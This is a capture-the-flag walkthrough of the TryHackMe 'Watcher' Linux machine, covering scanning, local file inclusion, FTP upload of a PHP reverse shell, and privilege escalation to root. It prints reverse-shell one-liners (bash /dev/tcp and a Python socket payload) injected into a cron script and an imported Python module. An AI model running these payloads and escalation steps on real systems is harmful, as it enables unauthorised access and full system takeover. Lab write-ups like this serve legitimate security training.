TryHackMe - Watcher

A boot2root Linux machine utilising web exploits along with some common privilege escalation techniques.

Add IP address

I add the Target’s IP Address into /etc/hosts to simply use the DNS instead of typing the IP:

┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ sudo cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.204.165   watcher.thm

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn watcher.thm
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-29 12:03 EDT
Warning: 10.10.189.100 giving up on port because retransmission cap hit (10).
Nmap scan report for watcher.thm
Host is up (0.25s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 40.81 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 21,22,80 watcher.thm
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-29 13:12 EDT
Nmap scan report for watcher.thm (10.10.204.165)
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e180ec1f269e32eb273f26acd237ba96 (RSA)
|   256 36ff7011058ed4507a29915875ac2e76 (ECDSA)
|_  256 48d23e45da0cf0f6654ef9789737aa8a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Corkplacemats
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: Jekyll v4.1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT       ADDRESS
1   185.56 ms 10.9.0.1
2   185.56 ms watcher.thm (10.10.204.165)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.40 seconds

Dir Scan

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 50 --no-error -u http://watcher.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://watcher.thm/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/robots.txt           (Status: 200) [Size: 69]
/images               (Status: 301) [Size: 311] [--> http://watcher.thm/images/]
/css                  (Status: 301) [Size: 308] [--> http://watcher.thm/css/]

Flag 1

robots.txt

┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ curl http://watcher.thm/robots.txt
User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ curl http://watcher.thm/flag_1.txt
FLAG{REDACTED}

Flag 2

Try to read the file secret_file_do_not_read.txt but I do not have the permission to access:

┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ curl http://watcher.thm/secret_file_do_not_read.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at watcher.thm Port 80</address>
</body></html>

Access the main page of watcher.thm through web-browser and select 1 of 3 posts:

Untitled

Look at the URL and the value of the param ?post=:

Untitled

Now use the LFI (Local File Inclusion) technique to read the file → Change the value from stripped.php to secret_file_do_not_read.txt:

Untitled

Now we get the FTP creds → Let’s login:

┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ ftp watcher.thm
Connected to watcher.thm.
220 (vsFTPd 3.0.3)
Name (watcher.thm:kali): [REDACTED]
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
229 Entering Extended Passive Mode (|||48045|)
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 Dec 03  2020 files
-rw-r--r--    1 0        0              21 Dec 03  2020 flag_2.txt
226 Directory send OK.

Transfer the file to the local machine and get the flag:

ftp> get flag_2.txt
local: flag_2.txt remote: flag_2.txt
229 Entering Extended Passive Mode (|||43660|)
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
100% |***********************************************************************|    21       10.79 KiB/s    00:00 ETA
226 Transfer complete.
21 bytes received in 00:00 (0.10 KiB/s)
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ cat flag_2.txt
FLAG{REDACTED}

Flag 3

Prepare a reverse shell on the local machine → Transfer it through FTP:

┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ ls -l shell.php
-rwxr-xr-x 1 kali kali 5492 Aug 29 12:36 shell.php
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||44682|)
553 Could not create file.

Oops! The current directory does not allow me to upload the shell. Let’s move into files/:

ftp> cd files
250 Directory successfully changed.
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||44027|)
150 Ok to send data.
100% |***********************************************************************|  5492       43.64 MiB/s    00:00 ETA
226 Transfer complete.
5492 bytes sent in 00:00 (14.31 KiB/s)
ftp> ls -l
229 Entering Extended Passive Mode (|||45582|)
150 Here comes the directory listing.
-rw-r--r--    1 1001     1001         5492 Aug 29 17:31 shell.php
226 Directory send OK.

Start a listener on the local machine listening on the specified port in the reverse shell → Call (Execute) the shell through the path that declared inside secret_file_do_not_read.txt:

Untitled

┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ curl http://watcher.thm/post.php?post=/home/ftpuser/ftp/files/shell.php
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.204.165] 48746
Linux watcher 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 17:35:12 up 30 min,  0 users,  load average: 0.00, 0.03, 0.29
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Locate the flag 3 by using find command and get the flag:

$ find / -name "flag_3.txt" 2>/dev/null
/var/www/html/more_secrets_a9f10a/flag_3.txt
$ cat /var/www/html/more_secrets_a9f10a/flag_3.txt
FLAG{REDACTED}

Flag 4

Navigate to /home/ directory and locate all the flags:

$ cd /home/
$ ls -l
total 16
dr-xr-xr-x 3 root root 4096 Dec  3  2020 ftpuser
drwxr-xr-x 6 mat  mat  4096 Dec  3  2020 mat
drwxr-xr-x 6 toby toby 4096 Dec 12  2020 toby
drwxr-xr-x 5 will will 4096 Dec  3  2020 will
$ ls -l * | grep "flag"
-rw------- 1 mat  mat      37 Dec  3  2020 flag_5.txt
-rw------- 1 toby toby   21 Dec  3  2020 flag_4.txt
-rw------- 1 will will 41 Dec  3  2020 flag_6.txt

Access toby’s directory to get the flag. However, the current user www-data does not have the permission to read it, only toby can:

$ cd toby
$ ls -l
total 12
-rw------- 1 toby toby   21 Dec  3  2020 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3  2020 jobs
-rw-r--r-- 1 mat  mat    89 Dec 12  2020 note.txt

Therefore, use sudo -l to check whether any commands that user www-data could execute with another privilege:

$ sudo -l
Matching Defaults entries for www-data on watcher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on watcher:
    (toby) NOPASSWD: ALL

NOPASSWD: ALL means you can execute every commands with toby’s privilege:

$ sudo -iu toby
id
uid=1003(toby) gid=1003(toby) groups=1003(toby)
python3 -c "import pty;pty.spawn('/bin/bash')"
toby@watcher:~$ cat flag_4.txt
cat flag_4.txt
FLAG{REDACTED}

Flag 5

Read the note to see what does it say:

toby@watcher:~$ cat note.txt
cat note.txt
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat

It’s the note from mat and it talks about the cron jobs → Check the crontab:

cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/1 * * * * mat /home/toby/jobs/cow.sh

*/1 * * * * mat /home/toby/jobs/cow.sh: mat user automatically execute the cow.sh for every minute within mat’s privilge → Let’s see what does the cow.sh do:

toby@watcher:~$ cd jobs
cd jobs
toby@watcher:~/jobs$ ls -l
ls -l
total 4
-rwxr-xr-x 1 toby toby 46 Dec  3  2020 cow.sh
toby@watcher:~/jobs$ cat cow.sh
cat cow.sh
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg

It’s a bash binary → I can inject another reverse shell into it:

toby@watcher:~/jobs$ echo "bash -i >& /dev/tcp/10.9.63.75/4445 0>&1" >> cow.sh

Then start another listener on local machine with the specified port and wait for a minute:

┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.204.165] 56740
bash: cannot set terminal process group (2306): Inappropriate ioctl for device
bash: no job control in this shell
mat@watcher:~$

OK! I’m mat user now → Get the flag 5:

mat@watcher:~$ ls -l
ls -l
total 280
-rw-r--r-- 1 mat  mat  270433 Dec  3  2020 cow.jpg
-rw------- 1 mat  mat      37 Dec  3  2020 flag_5.txt
-rw-r--r-- 1 will will    141 Dec  3  2020 note.txt
drwxrwxr-x 2 will will   4096 Dec  3  2020 scripts
mat@watcher:~$ cat flag_5.txt
cat flag_5.txt
FLAG{REDACTED}

Flag 6

Again, read the note to find whether any helpful information:

mat@watcher:~$ cat note.txt
cat note.txt
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will

This time is about sudo rights → Use sudo -l again:

mat@watcher:~$ sudo -l
sudo -l
Matching Defaults entries for mat on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mat may run the following commands on watcher:
    (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

will use python3 to execute the will_script.py → Check it:

mat@watcher:~$ cd scripts
cd scripts
mat@watcher:~/scripts$ ls -l
ls -l
total 8
-rw-r--r-- 1 mat  mat  133 Dec  3  2020 cmd.py
-rw-r--r-- 1 will will 208 Dec  3  2020 will_script.py
mat@watcher:~/scripts$ cat cmd.py
cat cmd.py
def get_command(num):
        if(num == "1"):
                return "ls -lah"
        if(num == "2"):
                return "id"
        if(num == "3"):
                return "cat /etc/passwd"
mat@watcher:~/scripts$ cat will_script.py
cat will_script.py
import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
        print("Invalid command!")
        exit()

os.system(cmd)

The will_script.py import the get_command() function from the cmd.py. Then, it will use the whitelist to compare the command the user’s input → If the command is available → The script will execute the command.

To exploit this script:

  1. Insert a reverse shell payload into the [cmd.py](http://cmd.py) which I have the permission on it:

    mat@watcher:~/scripts$ echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.63.75",4446));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' >> cmd.py
    
  2. Execute the will_script.py within sudo and an argument of 1 or 2 or 3 to make it run successfully:

    mat@watcher:~/scripts$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
    

Start another listener on the local machine:

┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.204.165] 36128
$ id
id
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)

Navigate to will’s directory and get the flag:

$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
will@watcher:~/scripts$ cd /home/will
cd /home/will
will@watcher:/home/will$ ls -l
ls -l
total 4
-rw------- 1 will will 41 Dec  3  2020 flag_6.txt
will@watcher:/home/will$ cat flag_6.txt
cat flag_6.txt
FLAG{REDACTED}

Flag 7

From this point, you can use linpeas.sh to rapidly enumerate the vulnerabilities to escalate privilege to root user.

Otherwise, I manually use find:

will@watcher:/home/will$ find / -group adm 2>/dev/null
/opt/backups
/opt/backups/key.b64
...

Navigate to /opt/backups/ to check the key.b64:

will@watcher:/home/will$ cd /opt/backups
will@watcher:/opt/backups$ cat key.b64
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBelBhUUZvbFFx[REDACTED]LUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=

It was encoded with base64 → Encode it:

will@watcher:/opt/backups$ cat key.b64 | base64 -d
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzPaQFolQq8cHom9mssyPZ53aLzBcRyBw+rysJ3h0JCxnV+aG
[REDACTED]
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA==
-----END RSA PRIVATE KEY-----

That is the private key used for ssh connection → Copy the key to the local machine → chmod 600 to the key and use it to ssh to the target as root user:

┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ file id_rsa
id_rsa: PEM RSA private key

┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ ls -l id_rsa
-rw------- 1 kali kali 1679 Aug 29 14:26 id_rsa
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ ssh root@watcher.thm -i id_rsa
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Aug 29 18:29:08 UTC 2023

  System load:  0.12               Processes:             110
  Usage of /:   22.3% of 18.57GB   Users logged in:       0
  Memory usage: 38%                IP address for eth0:   10.10.215.160
  Swap usage:   0%                 IP address for lxdbr0: 10.14.179.1

33 packages can be updated.
0 updates are security updates.

Last login: Thu Dec  3 03:25:38 2020
root@watcher:~# id
uid=0(root) gid=0(root) groups=0(root)

Finally, get the flag:

root@watcher:~# ls -l
total 4
-rw-r--r-- 1 root root 31 Dec  3  2020 flag_7.txt
root@watcher:~# cat flag_7.txt
FLAG{REDACTED}